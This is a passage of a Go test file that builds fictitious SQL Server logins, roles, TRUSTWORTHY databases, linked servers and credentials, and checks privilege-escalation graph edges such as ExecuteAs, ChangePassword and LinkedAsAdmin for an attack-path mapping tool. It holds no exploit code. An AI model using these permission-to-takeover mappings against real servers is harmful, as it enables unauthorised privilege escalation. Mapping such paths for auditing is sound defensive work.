withDBPrincipalPermissions(perm("ALTER", "GRANT", "DATABASE"))) + addDatabaseRole(db, "AlterTest_DbRole_CanAlterDb", false, + withDBPrincipalPermissions(perm("ALTER", "GRANT", "DATABASE"))) + addAppRole(db, "AlterTest_AppRole_CanAlterDb", + withDBPrincipalPermissions(perm("ALTER", "GRANT", "DATABASE"))) + + // ALTER on specific db users + targetDBUser1 := addDatabaseUser(db, "AlterTest_User_TargetOf_User_CanAlterDbUser") + targetDBUser2 := addDatabaseUser(db, "AlterTest_User_TargetOf_DbRole_CanAlterDbUser") + targetDBUser3 := addDatabaseUser(db, "AlterTest_User_TargetOf_AppRole_CanAlterDbUser") + + addDatabaseUser(db, "AlterTest_User_CanAlterDbUser", + withDBPrincipalPermissions(targetPerm("ALTER", "GRANT", "DATABASE_PRINCIPAL", + targetDBUser1.PrincipalID, targetDBUser1.ObjectIdentifier, targetDBUser1.Name))) + addDatabaseRole(db, "AlterTest_DbRole_CanAlterDbUser", false, + withDBPrincipalPermissions(targetPerm("ALTER", "GRANT", "DATABASE_PRINCIPAL", + targetDBUser2.PrincipalID, targetDBUser2.ObjectIdentifier, targetDBUser2.Name))) + addAppRole(db, "AlterTest_AppRole_CanAlterDbUser", + withDBPrincipalPermissions(targetPerm("ALTER", "GRANT", "DATABASE_PRINCIPAL", + targetDBUser3.PrincipalID, targetDBUser3.ObjectIdentifier, targetDBUser3.Name))) + + // ALTER on specific db roles + targetDBR1 := addDatabaseRole(db, "AlterTest_DbRole_TargetOf_User_CanAlterDbRole", false) + targetDBR2 := addDatabaseRole(db, "AlterTest_DbRole_TargetOf_DbRole_CanAlterDbRole", false) + targetDBR3 := addDatabaseRole(db, "AlterTest_DbRole_TargetOf_AppRole_CanAlterDbRole", false) + + addDatabaseUser(db, "AlterTest_User_CanAlterDbRole", + withDBPrincipalPermissions(targetPerm("ALTER", "GRANT", "DATABASE_PRINCIPAL", + targetDBR1.PrincipalID, targetDBR1.ObjectIdentifier, targetDBR1.Name))) + addDatabaseRole(db, "AlterTest_DbRole_CanAlterDbRole", false, + withDBPrincipalPermissions(targetPerm("ALTER", "GRANT", "DATABASE_PRINCIPAL", + targetDBR2.PrincipalID, targetDBR2.ObjectIdentifier, targetDBR2.Name))) + addAppRole(db, "AlterTest_AppRole_CanAlterDbRole", + withDBPrincipalPermissions(targetPerm("ALTER", "GRANT", "DATABASE_PRINCIPAL", + targetDBR3.PrincipalID, targetDBR3.ObjectIdentifier, targetDBR3.Name))) + + // ALTER on specific app roles + targetAR1 := addAppRole(db, "AlterTest_AppRole_TargetOf_User_CanAlterAppRole") + targetAR2 := addAppRole(db, "AlterTest_AppRole_TargetOf_DbRole_CanAlterAppRole") + targetAR3 := addAppRole(db, "AlterTest_AppRole_TargetOf_AppRole_CanAlterAppRole") + + addDatabaseUser(db, "AlterTest_User_CanAlterAppRole", + withDBPrincipalPermissions(targetPerm("ALTER", "GRANT", "DATABASE_PRINCIPAL", + targetAR1.PrincipalID, targetAR1.ObjectIdentifier, targetAR1.Name))) + addDatabaseRole(db, "AlterTest_DbRole_CanAlterAppRole", false, + withDBPrincipalPermissions(targetPerm("ALTER", "GRANT", "DATABASE_PRINCIPAL", + targetAR2.PrincipalID, targetAR2.ObjectIdentifier, targetAR2.Name))) + addAppRole(db, "AlterTest_AppRole_CanAlterAppRole", + withDBPrincipalPermissions(targetPerm("ALTER", "GRANT", "DATABASE_PRINCIPAL", + targetAR3.PrincipalID, targetAR3.ObjectIdentifier, targetAR3.Name))) + + return info +} + +func TestAlterEdges(t *testing.T) { + info := buildAlterTestData() + result := runEdgeCreation(t, info, true) + runTestCasesForPerspective(t, result.Edges, alterTestCases, "offensive") +} + +// ============================================================================= +// ALTERANYAPPROLE +// ============================================================================= + +func buildAlterAnyAppRoleTestData() *types.ServerInfo { + info := baseServerInfo() + + db := addDatabase(info, "EdgeTest_AlterAnyAppRole") + + addDatabaseUser(db, "AlterAnyAppRoleTest_User_HasAlterAnyAppRole", + withDBPrincipalPermissions(perm("ALTER ANY APPLICATION ROLE", "GRANT", "DATABASE"))) + addDatabaseRole(db, "AlterAnyAppRoleTest_DbRole_HasAlterAnyAppRole", false, + withDBPrincipalPermissions(perm("ALTER ANY APPLICATION ROLE", "GRANT", "DATABASE"))) + addAppRole(db, "AlterAnyAppRoleTest_AppRole_HasAlterAnyAppRole", + withDBPrincipalPermissions(perm("ALTER ANY APPLICATION ROLE", "GRANT", "DATABASE"))) + addDatabaseRole(db, "db_securityadmin", true) + + return info +} + +func TestAlterAnyAppRoleEdges(t *testing.T) { + info := buildAlterAnyAppRoleTestData() + result := runEdgeCreation(t, info, true) + runTestCasesForPerspective(t, result.Edges, alterAnyAppRoleTestCases, "offensive") +} + +// ============================================================================= +// ALTERANYLOGIN +// ============================================================================= + +func buildAlterAnyLoginTestData() *types.ServerInfo { + info := baseServerInfo() + + addSQLLogin(info, "AlterAnyLoginTest_Login_HasAlterAnyLogin", + withPermissions(perm("ALTER ANY LOGIN", "GRANT", "SERVER"))) + addServerRole(info, "AlterAnyLoginTest_ServerRole_HasAlterAnyLogin", + withPermissions(perm("ALTER ANY LOGIN", "GRANT", "SERVER"))) + + return info +} + +func TestAlterAnyLoginEdges(t *testing.T) { + info := buildAlterAnyLoginTestData() + result := runEdgeCreation(t, info, true) + runTestCasesForPerspective(t, result.Edges, alterAnyLoginTestCases, "offensive") +} + +// ============================================================================= +// EXECUTEAS +// ============================================================================= + +func buildExecuteAsTestData() *types.ServerInfo { + info := baseServerInfo() + + // SERVER LEVEL: IMPERSONATE creates ExecuteAs edges + targetLogin := addSQLLogin(info, "ExecuteAsTest_Login_TargetOf_Login_CanImpersonateLogin") + targetLogin2 := addSQLLogin(info, "ExecuteAsTest_Login_TargetOf_Login_CanControlLogin") + targetLogin3 := addSQLLogin(info, "ExecuteAsTest_Login_TargetOf_ServerRole_CanImpersonateLogin") + targetLogin4 := addSQLLogin(info, "ExecuteAsTest_Login_TargetOf_ServerRole_CanControlLogin") + + addSQLLogin(info, "ExecuteAsTest_Login_CanImpersonateLogin", + withPermissions(targetPerm("IMPERSONATE", "GRANT", "SERVER_PRINCIPAL", + targetLogin.PrincipalID, targetLogin.ObjectIdentifier, targetLogin.Name))) + addSQLLogin(info, "ExecuteAsTest_Login_CanControlLogin", + withPermissions(targetPerm("CONTROL", "GRANT", "SERVER_PRINCIPAL", + targetLogin2.PrincipalID, targetLogin2.ObjectIdentifier, targetLogin2.Name))) + addServerRole(info, "ExecuteAsTest_ServerRole_CanImpersonateLogin", + withPermissions(targetPerm("IMPERSONATE", "GRANT", "SERVER_PRINCIPAL", + targetLogin3.PrincipalID, targetLogin3.ObjectIdentifier, targetLogin3.Name))) + addServerRole(info, "ExecuteAsTest_ServerRole_CanControlLogin", + withPermissions(targetPerm("CONTROL", "GRANT", "SERVER_PRINCIPAL", + targetLogin4.PrincipalID, targetLogin4.ObjectIdentifier, targetLogin4.Name))) + + // DATABASE LEVEL + db := addDatabase(info, "EdgeTest_ExecuteAs") + + targetDBUser := addDatabaseUser(db, "ExecuteAsTest_User_TargetOf_User_CanImpersonateDbUser") + targetDBUser2 := addDatabaseUser(db, "ExecuteAsTest_User_TargetOf_User_CanControlDbUser") + targetDBUser3 := addDatabaseUser(db, "ExecuteAsTest_User_TargetOf_DbRole_CanImpersonateDbUser") + targetDBUser4 := addDatabaseUser(db, "ExecuteAsTest_User_TargetOf_DbRole_CanControlDbUser") + targetDBUser5 := addDatabaseUser(db, "ExecuteAsTest_User_TargetOf_AppRole_CanImpersonateDbUser") + targetDBUser6 := addDatabaseUser(db, "ExecuteAsTest_User_TargetOf_AppRole_CanControlDbUser") + + addDatabaseUser(db, "ExecuteAsTest_User_CanImpersonateDbUser", + withDBPrincipalPermissions(targetPerm("IMPERSONATE", "GRANT", "DATABASE_PRINCIPAL", + targetDBUser.PrincipalID, targetDBUser.ObjectIdentifier, targetDBUser.Name))) + addDatabaseUser(db, "ExecuteAsTest_User_CanControlDbUser", + withDBPrincipalPermissions(targetPerm("CONTROL", "GRANT", "DATABASE_PRINCIPAL", + targetDBUser2.PrincipalID, targetDBUser2.ObjectIdentifier, targetDBUser2.Name))) + addDatabaseRole(db, "ExecuteAsTest_DbRole_CanImpersonateDbUser", false, + withDBPrincipalPermissions(targetPerm("IMPERSONATE", "GRANT", "DATABASE_PRINCIPAL", + targetDBUser3.PrincipalID, targetDBUser3.ObjectIdentifier, targetDBUser3.Name))) + addDatabaseRole(db, "ExecuteAsTest_DbRole_CanControlDbUser", false, + withDBPrincipalPermissions(targetPerm("CONTROL", "GRANT", "DATABASE_PRINCIPAL", + targetDBUser4.PrincipalID, targetDBUser4.ObjectIdentifier, targetDBUser4.Name))) + addAppRole(db, "ExecuteAsTest_AppRole_CanImpersonateDbUser", + withDBPrincipalPermissions(targetPerm("IMPERSONATE", "GRANT", "DATABASE_PRINCIPAL", + targetDBUser5.PrincipalID, targetDBUser5.ObjectIdentifier, targetDBUser5.Name))) + addAppRole(db, "ExecuteAsTest_AppRole_CanControlDbUser", + withDBPrincipalPermissions(targetPerm("CONTROL", "GRANT", "DATABASE_PRINCIPAL", + targetDBUser6.PrincipalID, targetDBUser6.ObjectIdentifier, targetDBUser6.Name))) + + return info +} + +func TestExecuteAsEdges(t *testing.T) { + info := buildExecuteAsTestData() + result := runEdgeCreation(t, info, true) + runTestCasesForPerspective(t, result.Edges, executeAsTestCases, "offensive") +} + +// ============================================================================= +// CHANGEOWNER +// ============================================================================= + +func buildChangeOwnerTestData() *types.ServerInfo { + info := baseServerInfo() + + // SERVER LEVEL + targetSR1 := addServerRole(info, "ChangeOwnerTest_ServerRole_TargetOf_Login") + targetSR2 := addServerRole(info, "ChangeOwnerTest_ServerRole_TargetOf_Login_CanControlServerRole") + targetSR3 := addServerRole(info, "ChangeOwnerTest_ServerRole_TargetOf_ServerRole_CanTakeOwnershipServerRole") + targetSR4 := addServerRole(info, "ChangeOwnerTest_ServerRole_TargetOf_ServerRole_CanControlServerRole") + + addSQLLogin(info, "ChangeOwnerTest_Login_CanTakeOwnershipServerRole", + withPermissions(targetPerm("TAKE OWNERSHIP", "GRANT", "SERVER_PRINCIPAL", + targetSR1.PrincipalID, targetSR1.ObjectIdentifier, targetSR1.Name))) + addSQLLogin(info, "ChangeOwnerTest_Login_CanControlServerRole", + withPermissions(targetPerm("CONTROL", "GRANT", "SERVER_PRINCIPAL", + targetSR2.PrincipalID, targetSR2.ObjectIdentifier, targetSR2.Name))) + addServerRole(info, "ChangeOwnerTest_ServerRole_CanTakeOwnershipServerRole", + withPermissions(targetPerm("TAKE OWNERSHIP", "GRANT", "SERVER_PRINCIPAL", + targetSR3.PrincipalID, targetSR3.ObjectIdentifier, targetSR3.Name))) + addServerRole(info, "ChangeOwnerTest_ServerRole_CanControlServerRole", + withPermissions(targetPerm("CONTROL", "GRANT", "SERVER_PRINCIPAL", + targetSR4.PrincipalID, targetSR4.ObjectIdentifier, targetSR4.Name))) + + // DATABASE LEVEL + db := addDatabase(info, "EdgeTest_ChangeOwner") + + targetDBR1 := addDatabaseRole(db, "ChangeOwnerTest_DbRole_TargetOf_User_CanTakeOwnershipDb", false) + targetDBR2 := addDatabaseRole(db, "ChangeOwnerTest_DbRole_TargetOf_DbRole_CanTakeOwnershipDb", false) + targetDBR3 := addDatabaseRole(db, "ChangeOwnerTest_DbRole_TargetOf_AppRole_CanTakeOwnershipDb", false) + targetDBR4 := addDatabaseRole(db, "ChangeOwnerTest_DbRole_TargetOf_User_CanTakeOwnershipDbRole", false) + targetDBR5 := addDatabaseRole(db, "ChangeOwnerTest_DbRole_TargetOf_User_CanControlDbRole", false) + targetDBR6 := addDatabaseRole(db, "ChangeOwnerTest_DbRole_TargetOf_DbRole_CanTakeOwnershipDbRole", false) + targetDBR7 := addDatabaseRole(db, "ChangeOwnerTest_DbRole_TargetOf_DbRole_CanControlDbRole", false) + targetDBR8 := addDatabaseRole(db, "ChangeOwnerTest_DbRole_TargetOf_AppRole_CanTakeOwnershipDbRole", false) + targetDBR9 := addDatabaseRole(db, "ChangeOwnerTest_DbRole_TargetOf_AppRole_CanControlDbRole", false) + + // TAKE OWNERSHIP on database -> roles + addDatabaseUser(db, "ChangeOwnerTest_User_CanTakeOwnershipDb", + withDBPrincipalPermissions(perm("TAKE OWNERSHIP", "GRANT", "DATABASE"))) + addDatabaseRole(db, "ChangeOwnerTest_DbRole_CanTakeOwnershipDb", false, + withDBPrincipalPermissions(perm("TAKE OWNERSHIP", "GRANT", "DATABASE"))) + addAppRole(db, "ChangeOwnerTest_AppRole_CanTakeOwnershipDb", + withDBPrincipalPermissions(perm("TAKE OWNERSHIP", "GRANT", "DATABASE"))) + + // TAKE OWNERSHIP/CONTROL on specific role + addDatabaseUser(db, "ChangeOwnerTest_User_CanTakeOwnershipDbRole", + withDBPrincipalPermissions(targetPerm("TAKE OWNERSHIP", "GRANT", "DATABASE_PRINCIPAL", + targetDBR4.PrincipalID, targetDBR4.ObjectIdentifier, targetDBR4.Name))) + addDatabaseUser(db, "ChangeOwnerTest_User_CanControlDbRole", + withDBPrincipalPermissions(targetPerm("CONTROL", "GRANT", "DATABASE_PRINCIPAL", + targetDBR5.PrincipalID, targetDBR5.ObjectIdentifier, targetDBR5.Name))) + addDatabaseRole(db, "ChangeOwnerTest_DbRole_CanTakeOwnershipDbRole", false, + withDBPrincipalPermissions(targetPerm("TAKE OWNERSHIP", "GRANT", "DATABASE_PRINCIPAL", + targetDBR6.PrincipalID, targetDBR6.ObjectIdentifier, targetDBR6.Name))) + addDatabaseRole(db, "ChangeOwnerTest_DbRole_CanControlDbRole", false, + withDBPrincipalPermissions(targetPerm("CONTROL", "GRANT", "DATABASE_PRINCIPAL", + targetDBR7.PrincipalID, targetDBR7.ObjectIdentifier, targetDBR7.Name))) + addAppRole(db, "ChangeOwnerTest_AppRole_CanTakeOwnershipDbRole", + withDBPrincipalPermissions(targetPerm("TAKE OWNERSHIP", "GRANT", "DATABASE_PRINCIPAL", + targetDBR8.PrincipalID, targetDBR8.ObjectIdentifier, targetDBR8.Name))) + addAppRole(db, "ChangeOwnerTest_AppRole_CanControlDbRole", + withDBPrincipalPermissions(targetPerm("CONTROL", "GRANT", "DATABASE_PRINCIPAL", + targetDBR9.PrincipalID, targetDBR9.ObjectIdentifier, targetDBR9.Name))) + + // Reference unused vars for TAKE OWNERSHIP on database -> ChangeOwner + _ = targetDBR1 + _ = targetDBR2 + _ = targetDBR3 + + return info +} + +func TestChangeOwnerEdges(t *testing.T) { + info := buildChangeOwnerTestData() + result := runEdgeCreation(t, info, true) + runTestCasesForPerspective(t, result.Edges, changeOwnerTestCases, "offensive") +} + +// ============================================================================= +// CHANGEPASSWORD +// ============================================================================= + +func buildChangePasswordTestData() *types.ServerInfo { + info := baseServerInfo() + + // SERVER LEVEL + addSQLLogin(info, "ChangePasswordTest_Login_TargetOf_Login_CanAlterAnyLogin") + addSQLLogin(info, "ChangePasswordTest_Login_TargetOf_ServerRole_CanAlterAnyLogin") + addSQLLogin(info, "ChangePasswordTest_Login_TargetOf_SecurityAdmin") + + // Login with ALTER ANY LOGIN + addSQLLogin(info, "ChangePasswordTest_Login_CanAlterAnyLogin", + withPermissions(perm("ALTER ANY LOGIN", "GRANT", "SERVER"))) + + // ServerRole with ALTER ANY LOGIN + addServerRole(info, "ChangePasswordTest_ServerRole_CanAlterAnyLogin", + withPermissions(perm("ALTER ANY LOGIN", "GRANT", "SERVER"))) + + // Target with sysadmin (should NOT be targetable) + addSQLLogin(info, "ChangePasswordTest_Login_WithSysadmin", + withMemberOf(roleMembership("sysadmin", testServerOID))) + + // Target with CONTROL SERVER (should NOT be targetable) + addSQLLogin(info, "ChangePasswordTest_Login_WithControlServer", + withPermissions(perm("CONTROL SERVER", "GRANT", "SERVER"))) + + // sa login already tested implicitly + + // DATABASE LEVEL + db := addDatabase(info, "EdgeTest_ChangePassword") + + targetAR1 := addAppRole(db, "ChangePasswordTest_AppRole_TargetOf_User_CanAlterAnyAppRole") + targetAR2 := addAppRole(db, "ChangePasswordTest_AppRole_TargetOf_DbRole_CanAlterAnyAppRole") + targetAR3 := addAppRole(db, "ChangePasswordTest_AppRole_TargetOf_AppRole_CanAlterAnyAppRole") + targetAR4 := addAppRole(db, "ChangePasswordTest_AppRole_TargetOf_DbSecurityAdmin") + + addDatabaseUser(db, "ChangePasswordTest_User_CanAlterAnyAppRole", + withDBPrincipalPermissions(perm("ALTER ANY APPLICATION ROLE", "GRANT", "DATABASE"))) + addDatabaseRole(db, "ChangePasswordTest_DbRole_CanAlterAnyAppRole", false, + withDBPrincipalPermissions(perm("ALTER ANY APPLICATION ROLE", "GRANT", "DATABASE"))) + addAppRole(db, "ChangePasswordTest_AppRole_CanAlterAnyAppRole", + withDBPrincipalPermissions(perm("ALTER ANY APPLICATION ROLE", "GRANT", "DATABASE"))) + addDatabaseRole(db, "db_securityadmin", true) + + _ = targetAR1 + _ = targetAR2 + _ = targetAR3 + _ = targetAR4 + + return info +} + +func TestChangePasswordEdges(t *testing.T) { + info := buildChangePasswordTestData() + result := runEdgeCreation(t, info, true) + runTestCasesForPerspective(t, result.Edges, changePasswordTestCases, "offensive") +} + +// ============================================================================= +// ALTERANYDBROLE +// ============================================================================= + +func buildAlterAnyDBRoleTestData() *types.ServerInfo { + info := baseServerInfo() + + db := addDatabase(info, "EdgeTest_AlterAnyDBRole") + + // Target user-defined roles + addDatabaseRole(db, "AlterAnyDBRoleTest_TargetRole1", false) + addDatabaseRole(db, "AlterAnyDBRoleTest_TargetRole2", false) + addDatabaseRole(db, "db_datareader", true) + addDatabaseRole(db, "db_owner", true) + + // Sources with ALTER ANY ROLE + addDatabaseUser(db, "AlterAnyDBRoleTest_User_HasAlterAnyRole", + withDBPrincipalPermissions(perm("ALTER ANY ROLE", "GRANT", "DATABASE"))) + addDatabaseRole(db, "AlterAnyDBRoleTest_DbRole_HasAlterAnyRole", false, + withDBPrincipalPermissions(perm("ALTER ANY ROLE", "GRANT", "DATABASE"))) + addAppRole(db, "AlterAnyDBRoleTest_AppRole_HasAlterAnyRole", + withDBPrincipalPermissions(perm("ALTER ANY ROLE", "GRANT", "DATABASE"))) + + // db_securityadmin fixed role + addDatabaseRole(db, "db_securityadmin", true) + + return info +} + +func TestAlterAnyDBRoleEdges(t *testing.T) { + info := buildAlterAnyDBRoleTestData() + result := runEdgeCreation(t, info, true) + runTestCasesForPerspective(t, result.Edges, alterAnyDBRoleTestCases, "offensive") +} + +// ============================================================================= +// TAKEOWNERSHIP +// ============================================================================= + +func buildTakeOwnershipTestData() *types.ServerInfo { + info := baseServerInfo() + + // SERVER LEVEL + targetSR := addServerRole(info, "TakeOwnershipTest_ServerRole_Target") + + addSQLLogin(info, "TakeOwnershipTest_Login_CanTakeServerRole", + withPermissions(targetPerm("TAKE OWNERSHIP", "GRANT", "SERVER_PRINCIPAL", + targetSR.PrincipalID, targetSR.ObjectIdentifier, targetSR.Name))) + addServerRole(info, "TakeOwnershipTest_ServerRole_Source", + withPermissions(targetPerm("TAKE OWNERSHIP", "GRANT", "SERVER_PRINCIPAL", + targetSR.PrincipalID, targetSR.ObjectIdentifier, targetSR.Name))) + + // Login without permission + addSQLLogin(info, "TakeOwnershipTest_Login_NoPermission") + + // DATABASE LEVEL + db := addDatabase(info, "EdgeTest_TakeOwnership") + addDatabaseRole(db, "db_owner", true) + + targetDBR := addDatabaseRole(db, "TakeOwnershipTest_DbRole_Target", false) + + // Database-level TAKE OWNERSHIP on database + addDatabaseUser(db, "TakeOwnershipTest_User_CanTakeDb", + withDBPrincipalPermissions(perm("TAKE OWNERSHIP", "GRANT", "DATABASE"))) + addDatabaseRole(db, "TakeOwnershipTest_DbRole_CanTakeDb", false, + withDBPrincipalPermissions(perm("TAKE OWNERSHIP", "GRANT", "DATABASE"))) + addAppRole(db, "TakeOwnershipTest_AppRole_CanTakeDb", + withDBPrincipalPermissions(perm("TAKE OWNERSHIP", "GRANT", "DATABASE"))) + + // Database-level TAKE OWNERSHIP on specific role + addDatabaseUser(db, "TakeOwnershipTest_User_CanTakeRole", + withDBPrincipalPermissions(targetPerm("TAKE OWNERSHIP", "GRANT", "DATABASE_PRINCIPAL", + targetDBR.PrincipalID, targetDBR.ObjectIdentifier, targetDBR.Name))) + addDatabaseRole(db, "TakeOwnershipTest_DbRole_Source", false, + withDBPrincipalPermissions(targetPerm("TAKE OWNERSHIP", "GRANT", "DATABASE_PRINCIPAL", + targetDBR.PrincipalID, targetDBR.ObjectIdentifier, targetDBR.Name))) + addAppRole(db, "TakeOwnershipTest_AppRole_CanTakeRole", + withDBPrincipalPermissions(targetPerm("TAKE OWNERSHIP", "GRANT", "DATABASE_PRINCIPAL", + targetDBR.PrincipalID, targetDBR.ObjectIdentifier, targetDBR.Name))) + + // User without permission + addDatabaseUser(db, "TakeOwnershipTest_User_NoPermission") + + return info +} + +func TestTakeOwnershipEdges(t *testing.T) { + info := buildTakeOwnershipTestData() + result := runEdgeCreation(t, info, true) + runTestCasesForPerspective(t, result.Edges, takeOwnershipTestCases, "offensive") +} + +// ============================================================================= +// EXECUTEASOWNER + ISTRUSTEDBY +// ============================================================================= + +func buildExecuteAsOwnerTestData() *types.ServerInfo { + info := baseServerInfo() + + // Login with sysadmin + loginSysadmin := addSQLLogin(info, "ExecuteAsOwnerTest_Login_WithSysadmin", + withMemberOf(roleMembership("sysadmin", testServerOID))) + + // Login with securityadmin + loginSecurityadmin := addSQLLogin(info, "ExecuteAsOwnerTest_Login_WithSecurityadmin", + withMemberOf(roleMembership("securityadmin", testServerOID))) + + // Login with nested role in securityadmin + nestedRole := addServerRole(info, "ExecuteAsOwnerTest_NestedRole", + withMemberOf(roleMembership("securityadmin", testServerOID))) + loginNestedSecurityadmin := addSQLLogin(info, "ExecuteAsOwnerTest_Login_WithNestedRoleInSecurityadmin", + withMemberOf(types.RoleMembership{ + ObjectIdentifier: nestedRole.ObjectIdentifier, + Name: nestedRole.Name, + })) + + // Login with CONTROL SERVER + loginControlServer := addSQLLogin(info, "ExecuteAsOwnerTest_Login_WithControlServer", + withPermissions(perm("CONTROL SERVER", "GRANT", "SERVER"))) + + // Login with role that has CONTROL SERVER + roleWithControlServer := addServerRole(info, "ExecuteAsOwnerTest_RoleWithControlServer", + withPermissions(perm("CONTROL SERVER", "GRANT", "SERVER"))) + loginRoleControlServer := addSQLLogin(info, "ExecuteAsOwnerTest_Login_WithRoleWithControlServer", + withMemberOf(types.RoleMembership{ + ObjectIdentifier: roleWithControlServer.ObjectIdentifier, + Name: roleWithControlServer.Name, + })) + + // Login with IMPERSONATE ANY LOGIN + loginImpersonateAny := addSQLLogin(info, "ExecuteAsOwnerTest_Login_WithImpersonateAnyLogin", + withPermissions(perm("IMPERSONATE ANY LOGIN", "GRANT", "SERVER"))) + + // Login with role that has IMPERSONATE ANY LOGIN + roleWithImpersonate := addServerRole(info, "ExecuteAsOwnerTest_RoleWithImpersonateAnyLogin", + withPermissions(perm("IMPERSONATE ANY LOGIN", "GRANT", "SERVER"))) + loginRoleImpersonate := addSQLLogin(info, "ExecuteAsOwnerTest_Login_WithRoleWithImpersonateAnyLogin", + withMemberOf(types.RoleMembership{ + ObjectIdentifier: roleWithImpersonate.ObjectIdentifier, + Name: roleWithImpersonate.Name, + })) + + // Login without high privileges + loginNoHighPriv := addSQLLogin(info, "ExecuteAsOwnerTest_Login_NoHighPrivileges") + + // TRUSTWORTHY databases owned by each login type + addDatabase(info, "EdgeTest_ExecuteAsOwner_OwnedByLoginWithSysadmin", + withTrustworthy(), + withDBOwner(loginSysadmin.Name, loginSysadmin.ObjectIdentifier)) + + addDatabase(info, "EdgeTest_ExecuteAsOwner_OwnedByLoginWithSecurityadmin", + withTrustworthy(), + withDBOwner(loginSecurityadmin.Name, loginSecurityadmin.ObjectIdentifier)) + + addDatabase(info, "EdgeTest_ExecuteAsOwner_OwnedByLoginWithNestedRoleInSecurityadmin", + withTrustworthy(), + withDBOwner(loginNestedSecurityadmin.Name, loginNestedSecurityadmin.ObjectIdentifier)) + + addDatabase(info, "EdgeTest_ExecuteAsOwner_OwnedByLoginWithControlServer", + withTrustworthy(), + withDBOwner(loginControlServer.Name, loginControlServer.ObjectIdentifier)) + + addDatabase(info, "EdgeTest_ExecuteAsOwner_OwnedByLoginWithRoleWithControlServer", + withTrustworthy(), + withDBOwner(loginRoleControlServer.Name, loginRoleControlServer.ObjectIdentifier)) + + addDatabase(info, "EdgeTest_ExecuteAsOwner_OwnedByLoginWithImpersonateAnyLogin", + withTrustworthy(), + withDBOwner(loginImpersonateAny.Name, loginImpersonateAny.ObjectIdentifier)) + + addDatabase(info, "EdgeTest_ExecuteAsOwner_OwnedByLoginWithRoleWithImpersonateAnyLogin", + withTrustworthy(), + withDBOwner(loginRoleImpersonate.Name, loginRoleImpersonate.ObjectIdentifier)) + + // TRUSTWORTHY db owned by login WITHOUT high privileges (negative) + addDatabase(info, "EdgeTest_ExecuteAsOwner_OwnedByNoHighPrivileges", + withTrustworthy(), + withDBOwner(loginNoHighPriv.Name, loginNoHighPriv.ObjectIdentifier)) + + // Non-trustworthy db (negative) + addDatabase(info, "EdgeTest_ExecuteAsOwner_NotTrustworthy", + withDBOwner(loginSysadmin.Name, loginSysadmin.ObjectIdentifier)) + + return info +} + +func TestExecuteAsOwnerEdges(t *testing.T) { + info := buildExecuteAsOwnerTestData() + result := runEdgeCreation(t, info, true) + runTestCasesForPerspective(t, result.Edges, executeAsOwnerTestCases, "offensive") +} + +// ============================================================================= +// EXECUTEONHOST + HOSTFOR +// ============================================================================= + +func TestExecuteOnHostEdges(t *testing.T) { + info := baseServerInfo() + result := runEdgeCreation(t, info, true) + runTestCasesForPerspective(t, result.Edges, executeOnHostTestCases, "offensive") +} + +// ============================================================================= +// LINKEDTO + LINKEDASADMIN +// ============================================================================= + +func buildLinkedServerTestData() *types.ServerInfo { + info := baseServerInfo() + + // Create 11 linked servers pointing back to ourselves (loopback) + // to match test expectation of 11 LinkedTo edges. + // Each gets a unique LocalLogin so StreamingWriter dedup doesn't collapse them. + for i := 0; i < 11; i++ { + name := "LinkedServer" + string(rune('A'+i)) + opts := []linkedServerOption{ + withResolvedTarget(testServerOID), + withLocalLogin(fmt.Sprintf("locallogin%d", i)), + } + // 8 of them are admin (SQL login, sysadmin, mixed mode) + if i < 8 { + opts = append(opts, + withRemoteLogin("adminuser"), + withRemoteSysadmin(), + withRemoteMixedMode(), + ) + } else { + // The other 3 are non-admin (Windows login with backslash) + opts = append(opts, + withRemoteLogin("DOMAIN\\windowsuser"), + withRemoteMixedMode(), + ) + } + addLinkedServer(info, name, "edgetest.domain.com", opts...) + } + + return info +} + +func TestLinkedAsAdminEdges(t *testing.T) { + info := buildLinkedServerTestData() + result := runEdgeCreation(t, info, true) + runTestCasesForPerspective(t, result.Edges, linkedAsAdminTestCases, "offensive") +} + +// ============================================================================= +// LINKEDTO +// ============================================================================= + +func TestLinkedToEdges(t *testing.T) { + info := buildLinkedServerTestData() + result := runEdgeCreation(t, info, true) + runTestCasesForPerspective(t, result.Edges, linkedToTestCases, "offensive") +} + +// ============================================================================= +// HASMAPPEDCRED +// ============================================================================= + +func buildHasMappedCredTestData() *types.ServerInfo { + info := baseServerInfo() + + domainUser1SID := uniqueSID() + domainUser2SID := uniqueSID() + computerSID := uniqueSID() + differentUserSID := uniqueSID() + + // Credentials + cred1 := &types.Credential{ + CredentialID: uniquePrincipalID(), + Name: "DomainUser1Cred", + CredentialIdentity: "DOMAIN\\DomainUser1", + ResolvedSID: domainUser1SID, + } + cred2 := &types.Credential{ + CredentialID: uniquePrincipalID(), + Name: "DomainUser2Cred", + CredentialIdentity: "DOMAIN\\DomainUser2", + ResolvedSID: domainUser2SID, + } + cred3 := &types.Credential{ + CredentialID: uniquePrincipalID(), + Name: "ComputerCred", + CredentialIdentity: "DOMAIN\\TestComputer$", + ResolvedSID: computerSID, + } + cred4 := &types.Credential{ + CredentialID: uniquePrincipalID(), + Name: "DifferentUserCred", + CredentialIdentity: "DOMAIN\\DifferentUser", + ResolvedSID: differentUserSID, + } + + // SQL logins mapped to domain credentials + addSQLLogin(info, "HasMappedCredTest_SQLLogin_MappedToDomainUser1", + withMappedCredential(cred1)) + addSQLLogin(info, "HasMappedCredTest_SQLLogin_MappedToDomainUser2", + withMappedCredential(cred2)) + addSQLLogin(info, "HasMappedCredTest_SQLLogin_MappedToComputerAccount", + withMappedCredential(cred3)) + addWindowsLogin(info, "DOMAIN\\EdgeTestDomainUser1", uniqueSID(), + withMappedCredential(cred4)) + addSQLLogin(info, "HasMappedCredTest_SQLLogin_NoCredential") + + info.Credentials = append(info.Credentials, *cred1, *cred2, *cred3, *cred4) + + return info +} + +func TestHasMappedCredEdges(t *testing.T) { + info := buildHasMappedCredTestData() + result := runEdgeCreation(t, info, true) + runTestCasesForPerspective(t, result.Edges, hasMappedCredTestCases, "offensive") +} + +// ============================================================================= +// HASPROXYCRED +// ============================================================================= + +func buildHasProxyCredTestData() *types.ServerInfo { + info := baseServerInfo() + + domainUser1SID := uniqueSID() + domainUser2SID := uniqueSID() + + // Server principals that are authorized for proxies + addSQLLogin(info, "HasProxyCredTest_ETLOperator") + addSQLLogin(info, "HasProxyCredTest_BackupOperator") + addServerRole(info, "HasProxyCredTest_ProxyUsers") + addWindowsLogin(info, "DOMAIN\\EdgeTestDomainUser1", uniqueSID()) + addSQLLogin(info, "HasProxyCredTest_NoProxyAccess") + + // Proxy accounts + addProxyAccount(info, "ETLProxy", "DOMAIN\\DomainUser1", domainUser1SID, true, + []string{"SSIS"}, []string{"HasProxyCredTest_ETLOperator", "HasProxyCredTest_ProxyUsers"}) 